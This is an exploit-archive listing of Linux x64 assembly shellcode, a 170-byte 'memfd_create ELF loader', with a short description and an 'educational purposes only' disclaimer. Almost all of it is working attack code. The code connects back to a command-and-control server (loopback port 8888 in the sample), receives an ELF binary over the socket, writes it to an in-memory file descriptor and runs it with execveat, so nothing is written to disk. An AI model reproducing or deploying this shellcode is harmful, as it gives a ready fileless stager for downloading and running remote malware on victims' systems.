Linux/x64 memfd_create elf loader shellcode (170 bytes) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2023-08-21 | Type : shellcode | Platform : linux
This exploit / vulnerability Linux/x64 memfd_create elf loader shellcode (170 bytes) is for educational purposes only and if it is used you will do on your own risk!

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# Shellcode Title: Linux/x64 - memfd_create ELF loader (170 bytes)
# Shellcode Author: Ivan Nikolsky (enty8080) & Tomas Globis (tomasglgg)
# Tested on: Linux (x86_64)
# Shellcode Description: This shellcode attempts to establish reverse TCP connection, reads ELF length, reads ELF and maps it into the memory, creates memory file descriptor, writes loaded ELF to it and executes. This shellcode can be used for fileless ELF execution, because no data is writted to disk
# Blog post: https://blog.entysec.com/2023-04-02-remote-elf-loading/
# Original code: https://github.com/EntySec/Pawn

section .text
global _start

_start:
; Set up socket for further communication with C2
;
; socket(AF_INET, SOCK_STREAM, IPPROTO_IP);

push 0x29
pop rax
cdq
push 0x2
pop rdi
push 0x1
pop rsi
syscall

; Connect to the C2 server
;
; int connect(int sockfd, {
; sa_family=AF_INET,
; sin_port=htons(8888),
; sin_addr=inet_addr("127.0.0.1")
; }, 16);

xchg rdi, rax
mov rcx, 0x0100007fb8220002
push rcx
mov rsi, rsp
push 0x10
pop rdx
push 0x2a
pop rax
syscall

; Read ELF length from socket
;
; read(unsigned int fd, char *buf, 8);

pop rcx
push 0x8
pop rdx
push 0x0
lea rsi, [rsp]
xor rax, rax
syscall

; Save length to r12 and socket descriptor to r13

pop r12
push rdi
pop r13

; Create file descriptor for ELF file
;
; int memfd_create("", 0);

xor rax, rax
push rax
push rsp
sub rsp, 8
mov rdi, rsp
push 0x13f
pop rax
xor rsi, rsi
syscall

; Save file descriptor to r14

push rax
pop r14

; Allocate memory space for ELF file
;
; void *mmap(NULL, size_t count,
; PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);

push 0x9
pop rax
xor rdi, rdi
push r12
pop rsi
push 0x7
pop rdx
xor r9, r9
push 0x22
pop r10
syscall

; Save address to the allocated memory space to r15

push rax
pop r15

; Read ELF file from socket
;
; recvfrom(int sockfd, void *buf, size_t count, MSG_WAITALL, NULL, 0);

push 0x2d
pop rax
push r13
pop rdi
push r15
pop rsi
push r12
pop rdx
push 0x100
pop r10
syscall

; Write read ELF file data to the file descriptor
;
; size_t write(unsigned int fd, const char *buf, size_t count);

push 0x1
pop rax
push r14
pop rdi
push r12
pop rdx
syscall

; Execute ELF from file descriptor
;
; int execveat(int dfd, const char *filename,
; const char *const *argv,
; const char *const *envp,
; int flags);

push 0x142
pop rax
push r14
pop rdi
push rsp
sub rsp, 8
mov rsi, rsp
xor r10, r10
xor rdx, rdx
push 0x1000
pop r8
syscall